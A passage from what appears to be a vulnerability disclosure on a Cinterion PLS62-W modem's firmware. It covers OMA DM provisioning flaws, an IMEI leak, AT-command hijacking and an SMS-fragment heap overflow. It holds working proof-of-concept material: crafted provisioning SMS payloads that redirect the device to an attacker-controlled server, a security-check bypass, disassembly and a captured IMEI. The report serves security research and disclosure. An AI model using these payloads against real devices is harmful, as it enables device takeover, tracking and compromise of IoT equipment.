#0x70+var_6C ROM:86BDCEB4 BL agsr_memset_with_zero ROM:86BDCEB8 SUB R8, R8, #0x32 ; '2' -> for bootstrapdata equal to 0x10, r8 becomes negative number ROM:86BDCEBC LDR R1, =agsr_omadm_secret_imsi__ ; telcin> dmem 0x8117848D ROM:86BDCEBC ; 8117848d: 29 06 30 12 31 70 78 74 00 00 00 00 00 00 00 00 ).0.1pxt........ ROM:86BDCEBC ; 8117849d: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ROM:86BDCEBC ; 811784ad: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ROM:86BDCEC0 MOV R3, R11 ROM:86BDCEC4 MOV R2, R4 ROM:86BDCEC8 ADD R0, SP, #0x70+var_6C ROM:86BDCECC STR R8, [SP,#0x70+var_70] -> negatie number used as size (triggers invalid memory access) ROM:86BDCED0 BL agsr_omadm_sms_hmac_sha1_hex ; digest ma dlugosc 0x14 bytes ROM:86BDCED4 LDR R2, =0x2CA ``` ### ISSUE 14 - OMA DM PROVISIONING ALLOWS FOR CONFIG CHANGE Upon testing OMA DM provisioning message, it was noticed that arbitrary provisioning messages that carried attributes for APPLICATION resulted in the arbitrary store of these values to NVM. The following commands were used to test this: ``` telcin> start a:/agent.jad OK telcin> ls [a:/] ATSJMLED.jad --r 350 ATSJMLED.jar --r 345412 agent.jar --- 57053 agent.jad --- 416 telcin> run dmp.scr telcin> telcin> memory device MEMORY MODE: device telcin> telcin> wmem 0x8117848C 082906301231707874 writing data to 8117848c 00000000: 08 29 06 30 12 31 70 78 74 .).0.1pxt telcin> telcin> tracefile -i telcin> recvdmmsg -p https://agsecurityresearch.com SMS - FirstOctet 00000000: 74 t - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 04 . - TimeStamp 00000000: 17 01 09 0c 0a 3a 04 .....:. - UserData * hdr len 06 00000000: 05 04 11 22 33 44 ..."3D * ud len (with hdr) 8f 00000000: 01 06 06 00 00 b6 91 80 92 41 42 43 44 45 46 47 .........ABCDEFG 00000010: 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW 00000020: 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 XYZ[.]^_.abcdefg 00000030: 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 01 87 00 hi..j..F....U... 00000040: 01 36 06 03 41 00 01 87 00 01 38 06 03 42 00 01 .6..A.....8..B.. 00000050: 87 07 06 03 43 00 01 87 00 01 34 06 03 68 74 74 ....C.....4..htt 00000060: 70 73 3a 2f 2f 61 67 73 65 63 75 72 69 74 79 72 ps://agsecurityr 00000070: 65 73 65 61 72 63 68 2e 63 6f 6d 00 01 87 00 01 esearch.com..... 00000080: 23 06 03 44 00 01 01 01 #..D.... - DM Push * transaction_id 01 * PDU type 06 * headers 00 00 b6 91 80 92 - DM Data * data 00000000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP 00000010: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[.]^_. 00000020: 61 62 63 64 65 66 67 68 69 03 0b 6a 00 c5 46 01 abcdefghi..j..F. 00000030: c6 00 01 55 01 87 00 01 36 06 03 41 00 01 87 00 ...U....6..A.... 00000040: 01 38 06 03 42 00 01 87 07 06 03 43 00 01 87 00 .8..B......C.... 00000050: 01 34 06 03 68 74 74 70 73 3a 2f 2f 61 67 73 65 .4..https://agse 00000060: 63 75 72 69 74 79 72 65 73 65 61 72 63 68 2e 63 curityresearch.c 00000070: 6f 6d 00 01 87 00 01 23 06 03 44 00 01 01 01 om.....#..D.... OS MSG 00000000: aa 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx .....!.w.t...... 00000010: xx xx 00 04 17 01 09 0c 0a 3a 04 8f 06 05 04 11 .........:...... 00000020: 22 33 44 01 06 06 00 00 b6 91 80 92 41 42 43 44 "3D.........ABCD 00000030: 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST 00000040: 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 UVWXYZ[.]^_.abcd 00000050: 65 66 67 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 efghi..j..F....U 00000060: 01 87 00 01 36 06 03 41 00 01 87 00 01 38 06 03 ....6..A.....8.. 00000070: 42 00 01 87 07 06 03 43 00 01 87 00 01 34 06 03 B......C.....4.. 00000080: 68 74 74 70 73 3a 2f 2f 61 67 73 65 63 75 72 69 https://agsecuri 00000090: 74 79 72 65 73 65 61 72 63 68 2e 63 6f 6d 00 01 tyresearch.com.. 000000a0: 87 00 01 23 06 03 44 00 01 01 01 ...#..D.... SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 telcin> telcin> ``` After reboot, the `a:/trace.txt` file was inspected and the following lines were found in it: ``` OMADM(omadmclient_session_start_on_bootstrap,615)name="ADDR"URC Type : +XCESQI >< SIM ID : 0>< count of processors : 29 OMADM(omadmclient_session_start_on_bootstrap,637)name="ADDR"SNMON_ncell_check_update with bSnmonNbcCfg=1, isCellCollectionRun=0, dhc=0, countdown=1OMADM(omadmclient_session_start_on_bootstrap,615)value="https://agsecurityresearch.com"SNMON NBC debug info: cell in black list, uarfcn=3082,psc=178,countdown=8OMADM(omadmclient_session_start_on_bootstrap,637)value="https://agsecurityresearch.com"SNMON for 4G: earfcn=65535, pci=65535~CAT~CatCsiMsNetServingCellMonitorIndCb SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_read().... START SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_read().... END SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_write().... START SNMON for 4G: earfcn=65535, pci=65535OMADM_CLIENT: omadm_nvm_sta_call_write().... END SNMON for 4G: earfcn=65535, pci=65535OMADM: set https://agsecurityresearch.com to the OTA account in NVM ./DMS/Cingular/AppAddr/mdm/AddrSNMON for 4G: earfcn=65535, pci=65535> SNMON for 4G: earfcn=65535, pci=65535 SNMON for 4G: earfcn=65535, pci=65535~CAT~CatCsiMsNetServingCellMonitorIndCb SNMON for 4G: earfcn=65535, pci=65535 SNMON NBC info: CsiMsNetCellIdReq to rat=0, n_4g=0, n_3g=0< SIM ID : 0>< count of processors : 29 OMADM_CLIENT: omadm_nvm_sta_call_write().... START ~CAT~Cat_CsiMsNetServingCellMonitorIndCb OMADM_CLIENT: omadm_nvm_sta_call_write().... END URC Type : +XSCM >< SIM ID : 0>< count of processors : 29 OMADM: set D to the OTA account in NVM ./DMS/Cingular/AppAddr/mdm/Port/mdm/PortNbr~CAT~Cat_CsiMsNetServingCellMonitorIndCb > URC Type : +XSCM >< SIM ID : 0>< count of processors : 29 CMD not recognized on JRC:6, try next. URC Type : +XSCM >< SIM ID : 0>< count of processors : 29 < SIM ID : 0>< count of processors : 29 > URC Type : +XCESQI >< SIM ID : 0>< count of processors : 29 omadmclient_session_start_on_bootstrap : failed to get next token, err = 8206 ``` This implicates that the write to NVM. The actual write was verified by the `omadmcfg` too and indeed the `https://agsecurityresearch.com` url value was set in the config. The issue requires more investigation though as it turned out to be working in an unreliable fashion whenever tracing was not enabled (system boot was encountered, no NVM value was written). This could be due to the fact that the tests were conducted "locally". Some tests conducted with SIM card inserted into the device and with all LEDs set to green (indicating successfull / complete device startupand network connection) were more successful though. Initially, the OM DM configuration was set as following: ``` telcin> omadmcfg -l omadmcfg.before -p [PRODUCTION] APPLICATION - AppID w7 - ServerID Cingular - Name Cingular - Addr https://security-explorations.com - PortNbr 443 APPAUTH - AAuthLevel CLCRED - AAuthType DIGEST - AAuthName xxxxxxxxxxxxxxx - AAuthSecret xxxxxxxxxxxxxxxx - AAuthData null APPAUTH - AAuthLevel SRVCRED - AAuthType DIGEST - AAuthName Cingular - AAuthSecret xxxxxxxxxxxxxxxx - AAuthData null [LAB] APPLICATION - AppID w7 - ServerID ATTLabA - Name ATTLabA - Addr https://127.0.0.1 - PortNbr 443 APPAUTH - AAuthLevel CLCRED - AAuthType DIGEST - AAuthName xxxxx - AAuthSecret xxxxx - AAuthData null APPAUTH - AAuthLevel SRVCRED - AAuthType DIGEST - AAuthName xxxxxxx - AAuthSecret xxxxx - AAuthData null [EXTRA] APPLICATION - AppID - ServerID - Name - Addr - PortNbr APPAUTH - AAuthLevel - AAuthType - AAuthName - AAuthSecret - AAuthData APPAUTH - AAuthLevel - AAuthType - AAuthName - AAuthSecret - AAuthData ``` The above indicates empty `EXTRA` data space. However, upon simulating the reception of OMA DM provisioning message (with security check bypass), the following result was obtained: ``` telcin> recvdmmsg -p https://agsecurityresearch.com SMS - FirstOctet 00000000: 74 t - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 01 15 0a 0e 29 04 .....). - UserData * hdr len 06 00000000: 05 04 11 22 33 44 ..."3D * ud len (with hdr) a0 00000000: 01 06 06 00 00 b6 91 80 92 41 42 43 44 45 46 47 .........ABCDEFG 00000010: 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 HIJKLMNOPQRSTUVW 00000020: 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 XYZ[.]^_.abcdefg 00000030: 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 01 87 00 hi..j..F....U... 00000040: 01 36 06 03 77 37 00 01 87 00 01 38 06 03 43 69 .6..w7.....8..Ci 00000050: 6e 67 75 6c 61 72 00 01 87 07 06 03 43 69 6e 67 ngular......Cing 00000060: 75 6c 61 72 00 01 87 00 01 34 06 03 68 74 74 70 ular.....4..http 00000070: 73 3a 2f 2f 61 67 73 65 63 75 72 69 74 79 72 65 s://agsecurityre 00000080: 73 65 61 72 63 68 2e 63 6f 6d 00 01 87 00 01 23 search.com.....# 00000090: 06 03 34 34 33 00 01 01 01 ..443.... - DM Push * transaction_id 01 * PDU type 06 * headers 00 00 b6 91 80 92 - DM Data * data 00000000: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 ABCDEFGHIJKLMNOP 00000010: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 QRSTUVWXYZ[.]^_. 00000020: 61 62 63 64 65 66 67 68 69 03 0b 6a 00 c5 46 01 abcdefghi..j..F. 00000030: c6 00 01 55 01 87 00 01 36 06 03 77 37 00 01 87 ...U....6..w7... 00000040: 00 01 38 06 03 43 69 6e 67 75 6c 61 72 00 01 87 ..8..Cingular... 00000050: 07 06 03 43 69 6e 67 75 6c 61 72 00 01 87 00 01 ...Cingular..... 00000060: 34 06 03 68 74 74 70 73 3a 2f 2f 61 67 73 65 63 4..https://agsec 00000070: 75 72 69 74 79 72 65 73 65 61 72 63 68 2e 63 6f urityresearch.co 00000080: 6d 00 01 87 00 01 23 06 03 34 34 33 00 01 01 01 m.....#..443.... OS MSG 00000000: bb 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx .....!.w.t...... 00000010: xx xx 00 14 17 01 15 0a 0e 29 04 a0 06 05 04 11 .........)...... 00000020: 22 33 44 01 06 06 00 00 b6 91 80 92 41 42 43 44 "3D.........ABCD 00000030: 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 EFGHIJKLMNOPQRST 00000040: 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 UVWXYZ[.]^_.abcd 00000050: 65 66 67 68 69 03 0b 6a 00 c5 46 01 c6 00 01 55 efghi..j..F....U 00000060: 01 87 00 01 36 06 03 77 37 00 01 87 00 01 38 06 ....6..w7.....8. 00000070: 03 43 69 6e 67 75 6c 61 72 00 01 87 07 06 03 43 .Cingular......C 00000080: 69 6e 67 75 6c 61 72 00 01 87 00 01 34 06 03 68 ingular.....4..h 00000090: 74 74 70 73 3a 2f 2f 61 67 73 65 63 75 72 69 74 ttps://agsecurit 000000a0: 79 72 65 73 65 61 72 63 68 2e 63 6f 6d 00 01 87 yresearch.com... 000000b0: 00 01 23 06 03 34 34 33 00 01 01 01 ..#..443.... SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 telcin> omadmcfg -s omadmcfg.after -p buf: 0x83c7baf0 omadm_nvm_sta_read res: 0x00000001 [PRODUCTION] APPLICATION - AppID w7 - ServerID Cingular - Name Cingular - Addr https://security-explorations.com - PortNbr 443 APPAUTH - AAuthLevel CLCRED - AAuthType DIGEST - AAuthName xxxxxxxxxxxxxxx - AAuthSecret xxxxxxxxxxxxxxxx - AAuthData null APPAUTH - AAuthLevel SRVCRED - AAuthType DIGEST - AAuthName Cingular - AAuthSecret xxxxxxxxxxxxxxxx - AAuthData null [LAB] APPLICATION - AppID w7 - ServerID ATTLabA - Name ATTLabA - Addr https://127.0.0.1 - PortNbr 443 APPAUTH - AAuthLevel CLCRED - AAuthType DIGEST - AAuthName xxxxx - AAuthSecret xxxxx - AAuthData null APPAUTH - AAuthLevel SRVCRED - AAuthType DIGEST - AAuthName xxxxxxx - AAuthSecret xxxxx - AAuthData null [EXTRA] APPLICATION - AppID w7 - ServerID Cingular - Name Cingular - Addr https://agsecurityresearch.com - PortNbr APPAUTH - AAuthLevel - AAuthType - AAuthName - AAuthSecret - AAuthData APPAUTH - AAuthLevel - AAuthType - AAuthName - AAuthSecret - AAuthData telcin> ``` The device was not booted (provisioning message as processed successfully). After the reboot NVM content was not restored to empty values (new config was persistent). ### ISSUE 15 - OMA DM PROVISIONING ALLOWS FOR FACTORY DEFAULTS "OVERWRITE" While playing with OMA DM PROVISIONING messages and configuration, it has been observed that the url of the application configured by the user (such as through custom NVM write or Issue 15) and with the same appid as the system one (Cingular) took precedence over the system one (even though it was the last in the NVM). As a result, the URL of user defined config was used at the time of establishing a connection with DM server. ### ISSUE 16 - IMEI NUMBER LEAK For OMA DM notification messages, the configured url was used to establish a connection with DM server. This is illustrated below: ``` telcin> start a:/agent.jad OK telcin> run dmn.scr telcin> telcin> recvdmmsg -n Cingular SMS - FirstOctet 00000000: 74 t - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 04 . - TimeStamp 00000000: 17 01 07 0b 0a 16 04 ....... - UserData * hdr len 06 00000000: 05 04 11 22 33 44 ..."3D * ud len (with hdr) 2d 00000000: 01 06 03 c4 af 87 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 02 d8 00 00 00 12 34 08 43 69 ............4.Ci 00000020: 6e 67 75 6c 61 72 ngular - DM Push * transaction_id 01 * PDU type 06 * headers c4 af 87 - DM Data * digest 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ * version 0b * UImode 01 * initiator 01 * future_use 00 * server_id Cingular OS MSG 00000000: 48 07 91 84 05 21 00 77 f7 74 0b 91 84 xx xx xx H....!.w.t...... 00000010: xx xx 00 04 17 01 07 0b 0a 16 04 2d 06 05 04 11 ...........-.... 00000020: 22 33 44 01 06 03 c4 af 87 00 00 00 00 00 00 00 "3D............. 00000030: 00 00 00 00 00 00 00 00 00 02 d8 00 00 00 12 34 ...............4 00000040: 08 43 69 6e 67 75 6c 61 72 .Cingular SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 ``` The `tracelog` showed that the connection was attempted to be opened with target url: ``` OMADM_LIBDM: sendPacket().......START... HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10002]. OMADM_LIBDM: CURLOPT_URL = https://agsecurityresearch.com HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[47]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10023]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[30120]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10165]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[20011]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10001]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[10023]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[84]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/http_wrapper.c][IuiHttpSetCertificateCallback]Entered. pCurl[&-2084327224], CB[0x86bb5b94]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/url.c][Curl_setopt]Entering. data[&-2084327224], option[156]. HttpLog-->[2][../../3p_oss_bsd/curl/libcurl/lib/http_wrapper.c][IuiHttpSetNetworkInterfaceID]Entered. pCurl[&-2084327224], nNID[327685]. ``` OM DM code / spec implicates that IMEI could be obtained by the fake DM server through that mean. The spec (`OMA-TS-DM_Protocol-V1_2-20070209-A`) states the following among others: ``` To send the device information (like manufacturer, model etc) to a Device Management Server as specified [DMSTDOBJ]. Client MUST send device information in the first message of management session. ``` This behaviour has ben verified with the use of a custom OMA DM server. The first SyncML message received from the Cinterion device embedded its IMEI number: ``` HTTP server [class HTTPServer$SEServer] listening on: 192.168.1.100:8080 [/37.47.143.37] POST / Accept:[*/*] Host:[83.8.108.254:443] User-agent:[IMC_OMADM_LIBDM] Content-type:[application/vnd.syncml.dm+wbxml] Content-length:[505] ############################################################ ## SESSION 0 ############################################################ - MSG FROM CLIENT data 0000: 02 a4 01 6a 00 6d 6c 71 03 31 2e 32 00 01 72 03 ...j.mlq.1.2..r. 0010: 44 4d 2f 31 2e 32 00 01 65 03 33 34 31 32 00 01 DM/1.2..e.3412.. 0020: 5b 03 31 00 01 6e 57 03 68 74 74 70 3a 2f 2f 38 [.1..nW.http://8 0030: 33 2e 38 2e 31 30 38 2e 32 35 34 3a 34 34 33 00 3.8.108.254:443. 0040: 01 01 67 57 03 49 4d 45 49 3a 33 35 31 32 34 39 ..gW.IMEI:351249 0050: 39 35 34 38 39 36 30 38 38 00 01 01 4e 5a 00 01 954896088...NZ.. 0060: 47 03 62 36 34 00 01 53 03 73 79 6e 63 6d 6c 3a G.b64..S.syncml: 0070: 61 75 74 68 2d 6d 64 35 00 01 01 00 00 4f 03 31 auth-md5.....O.1 0080: 47 47 73 71 70 74 71 43 37 56 4a 64 6f 42 38 70 GGsqptqC7VJdoB8p 0090: 41 6e 4d 67 51 3d 3d 00 01 01 5a 00 01 4c 03 31 AnMgQ==...Z..L.1 00a0: 36 33 38 34 00 01 01 01 00 00 6b 46 4b 03 31 00 6384......kFK.1. 00b0: 01 4f 03 31 32 30 30 00 01 01 60 4b 03 32 00 01 .O.1200....K.2.. 00c0: 54 67 57 03 2e 2f 44 65 76 49 6e 66 6f 2f 44 6d TgW../DevInfo/Dm 00d0: 56 00 01 01 5a 00 01 47 03 63 68 72 00 01 53 03 V...Z..G.chr..S. 00e0: 74 65 78 74 2f 70 6c 61 69 6e 00 01 01 00 00 4f text/plain.....O 00f0: 03 31 2e 32 00 01 01 54 67 57 03 2e 2f 44 65 76 .1.2...TgW../Dev 0100: 49 6e 66 6f 2f 4c 61 6e 67 00 01 01 5a 00 01 47 Info/Lang...Z..G 0110: 03 63 68 72 00 01 53 03 74 65 78 74 2f 70 6c 61 .chr..S.text/pla 0120: 69 6e 00 01 01 00 00 4f 03 45 6e 67 6c 69 73 68 in.....O.English 0130: 00 01 01 54 67 57 03 2e 2f 44 65 76 49 6e 66 6f ...TgW../DevInfo 0140: 2f 44 65 76 49 64 00 01 01 5a 00 01 47 03 63 68 /DevId...Z..G.ch 0150: 72 00 01 53 03 74 65 78 74 2f 70 6c 61 69 6e 00 r..S.text/plain. 0160: 01 01 00 00 4f 03 49 4d 45 49 3a 33 35 31 32 34 ....O.IMEI:35124 0170: 39 39 35 34 38 39 36 30 38 38 00 01 01 54 67 57 9954896088...TgW 0180: 03 2e 2f 44 65 76 49 6e 66 6f 2f 4d 61 6e 00 01 ../DevInfo/Man.. 0190: 01 5a 00 01 47 03 63 68 72 00 01 53 03 74 65 78 .Z..G.chr..S.tex 01a0: 74 2f 70 6c 61 69 6e 00 01 01 00 00 4f 03 43 69 t/plain.....O.Ci 01b0: 6e 74 65 72 69 6f 6e 00 01 01 54 67 57 03 2e 2f nterion...TgW../ 01c0: 44 65 76 49 6e 66 6f 2f 4d 6f 64 00 01 01 5a 00 DevInfo/Mod...Z. 01d0: 01 47 03 63 68 72 00 01 53 03 74 65 78 74 2f 70 .G.chr..S.text/p 01e0: 6c 61 69 6e 00 01 01 00 00 4f 03 50 4c 53 36 32 lain.....O.PLS62 01f0: 2d 57 00 01 01 01 12 01 01 -W....... [SyncML] * wbxml_ver: 02 * publicid: 00001201 [-//SYNCML//DTD SyncML 1.2//EN] * charset: 6a strtable [0 bytes] 1.2 DM/1.2 3412 1 http://83.8.108.254:443 IMEI:351249954896088 b64 syncml:auth-md5 1GGsqptqC7VJdoB8pAnMgQ== 16384 1 1200 2 ./DevInfo/DmV chr text/plain 1.2 ./DevInfo/Lang chr text/plain English ./DevInfo/DevId chr text/plain IMEI:351249954896088 ./DevInfo/Man chr text/plain Cinterion ./DevInfo/Mod chr text/plain PLS62-W ``` As a result of IMEI number leak, the number of SPC values to check for ISSUE 9 can be decreased to 4^10 (66 bunches of SMS sequences, an attack taking between 1-2 hours). The other implication of OMA DM connection triggered by the attacker and redirected to the server under its control is also the following: - verification that a Cinterion device is present at the target number - the ability to acquire detailed information about Cinterion device (SW version, etc.) - this is key for exploitation of memory corruption issues. ### ISSUE 17 - POTENTIAL FOR AT SYSTEM COMMANDS HIJACK The overall AT command dispatch works as following: - first an attempt is made to execute a command through one of the Java application installed in the system (following the JAT-Priority order) - upon failure to find the AT command processor, the native AT command dispatcher is invoked. This order can be seen in the tracelog whenever AT command is entered over the connection to the device: ``` C-AT trace>>> ACKED w result(0 =OK, 16 MEM full, 47 Prot ERR )= 0, tipd= 137 CMD not recognized on JRC:100, try next. next_jrc_client: 6. CMD not recognized on JRC:6, try next. next_jrc_client: 1. CMD not recognized on JRC:1, try next. no more jrc processor left, try native functions. ``` Such a design creates a potential risk for a hidden backdoor-like system command change making it possible to change any system command or hide any backdoor presence in the system (AT commands are the primary means to inspect the system). The `JRC` midlet itself makes use of this functionality - its code implements many key commands such as `SFSA`. ### ISSUE 18 - HEAP OVERFLOW IN SMS FRAGMENTS PROCESSING There are two code locations in a device firmware that deal with SMS fragments (concatenated SMS messages) processing: 1) WDP segments reassembly ``` ROM:86BDC6B8 agsr_OmadmSmsWdpSegPktReassembly ; CODE XREF: OmadmUtaSms3gppFilterFunction+22C↓p ROM:86BDC6B8 ROM:86BDC6B8 var_40 = -0x40 ROM:86BDC6B8 var_3C = -0x3C ROM:86BDC6B8 var_30 = -0x30 ROM:86BDC6B8 ROM:86BDC6B8 PUSH {R0-R11,LR} ROM:86BDC6BC SUB SP, SP, #0xC ROM:86BDC6C0 MOVS R8, R3 ; ptr for the output assembled packet ROM:86BDC6C4 MOV R5, R0 ; ptr na concatenation IE ROM:86BDC6C8 LDRNE R0, [SP,#0x40+var_30] ROM:86BDC6CC MOV R7, R2 ; data len ROM:86BDC6D0 CMPNE R0, #0 ROM:86BDC6D4 BEQ loc_86BDC754 ; -> exit ROM:86BDC6D8 CMP R7, #0 ROM:86BDC6DC CMPNE R5, #0 ROM:86BDC6E0 BEQ loc_86BDC754 ; -> exit ROM:86BDC6E4 MOV R10, #0 ROM:86BDC6E8 STR R10, [R8] ROM:86BDC6EC LDRB R2, [R5,#2] ; segNum ROM:86BDC6F0 LDRB R1, [R5] ; ref ROM:86BDC6F4 ADR R0, aRefSegnum ; "ref&segNum" ROM:86BDC6F8 MOV R3, #0x198 ROM:86BDC6FC STMEA SP, {R0-R2} ROM:86BDC700 ADR R1, a3pOssApacheLib_0 ; "../../3p_oss_apache/libdmclient/src/oma"... ROM:86BDC704 LDR R2, =aOmadmsmswdpseg ; "OmadmSmsWdpSegPktReassembly" ROM:86BDC708 ADR R0, aSSDSDD ; "%s-%s(%d): %s %d %d" ``` 2) general SMS concatenation handling ``` ROM:862098AE loc_862098AE ; CODE XREF: sub_862097A8+F0↑j ROM:862098AE LDR R3, [R0,#0x24] ROM:862098B0 MOV R2, R1 ROM:862098B2 LDR R0, [R0,#0x3C] ROM:862098B4 ADD R1, SP, #0x458+var_1A4 ROM:862098B6 BL agsr_store_fragment ROM:862098BA ADD R0, SP, #0x458+var_5C ROM:862098BC MOV R1, R4 ROM:862098BE LDR R0, [R0,#0x3C] ROM:862098C0 BL agsr_receive_concatenated_sms ROM:862098C4 ROM:862098C4 loc_862098C4 ; CODE XREF: sub_862097A8+40↑j ROM:862098C4 ; sub_862097A8+56↑j ... ROM:862098C4 ADD SP, SP, #0x1FC ROM:862098C6 ADD SP, SP, #0x1FC ROM:862098C8 ADD SP, SP, #0x4C ; 'L' ROM:862098CA POP {R4-R7,PC} ``` General SMS concatenation relies on the global structure that carries information about fragments reception "state": ``` telcin> smsfrags [SMS FRAGMENTS] addr: 0x817030bc fragnum: 00 refid: ff totalfrags: 00 concatmem: 0x00000000 size 0xffffffff [0 fragments ] ``` Upon reception of a concatenated SMS message, this structure gets updated accordingly. The POC implements a command for a local simulation of SMS fragment reception: ``` telcin> recvfrag -f 1/3 -i 1 -s fragment1 fragment 1/3, id 00000001 data 00000000: 66 72 61 67 6d 65 6e 74 31 fragment1 SMS - FirstOctet 00000000: 70 p - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 01 13 0e 3a 07 04 ....:.. - UserData * hdr len 05 00000000: 00 03 01 03 01 ..... * ud len (with hdr) 0f 00000000: 66 72 61 67 6d 65 6e 74 31 fragment1 OS MSG 00000000: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p...... 00000010: xx xx 00 14 17 01 13 0e 3a 07 04 0f 05 00 03 01 ........:....... 00000020: 03 01 66 72 61 67 6d 65 6e 74 31 ..fragment1 SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 ``` The above simulates reception of SMS fragment number 1 (out of 3 in total) carrying text `fragment1` as user data. Similarly, reception of a fragment number 2 can be simulated: ``` telcin> recvfrag -f 2/3 -i 1 -s fragment2 fragment 2/3, id 00000001 data 00000000: 66 72 61 67 6d 65 6e 74 32 fragment2 SMS - FirstOctet 00000000: 70 p - Addr: +48xxxxxxxx 00000000: 0b 91 84 xx xx xx xx xx ........ - PID 00000000: 00 . - DCS 00000000: 14 . - TimeStamp 00000000: 17 01 13 0e 3a 27 04 ....:'. - UserData * hdr len 05 00000000: 00 03 01 03 02 ..... * ud len (with hdr) 0f 00000000: 66 72 61 67 6d 65 6e 74 32 fragment2 OS MSG 00000000: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p...... 00000010: xx xx 00 14 17 01 13 0e 3a 27 04 0f 05 00 03 01 ........:'...... 00000020: 03 02 66 72 61 67 6d 65 6e 74 32 ..fragment2 SMS_RECV_FUN: send DR_SM_UPDATE_REQ to atc:1 task res: 0x00000000 ``` The reception of both fragments results in the update of the global structure: ``` telcin> smsfrags [SMS FRAGMENTS] addr: 0x817030bc fragnum: 02 refid: 01 totalfrags: 03 concatmem: 0x83ba2678 size 0x00000213 [3 fragments ] ``` The structure keeps track of SMS fragments received for a given reference id. It allocates a memory buffer (`concatmem` or fragments memory) to store received fragments. Upon reception of the above 2 fragments, the `concat` memory is filled as following: ``` telcin> dmem 0x83ba2678 0x300 83ba2678: 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx xx *....!.w.p...... 83ba2688: xx xx 00 14 17 01 13 0e 3b 2f 04 0f 05 00 03 01 ........;/...... 83ba2698: 03 01 66 72 61 67 6d 65 6e 74 31 00 00 00 00 00 ..fragment1..... 83ba26a8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26b8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26c8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26d8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba26f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2708: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2718: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2728: 00 2a 07 91 84 05 21 00 77 f7 70 0b 91 84 xx xx .*....!.w.p..... 83ba2738: xx xx xx 00 14 17 01 13 0e 3a 27 04 0f 05 00 03 .........:'..... 83ba2748: 01 03 02 66 72 61 67 6d 65 6e 74 32 00 00 00 00 ...fragment2.... 83ba2758: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2768: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 83ba2778: 00 00 00 00 00 00 00 00 00 00 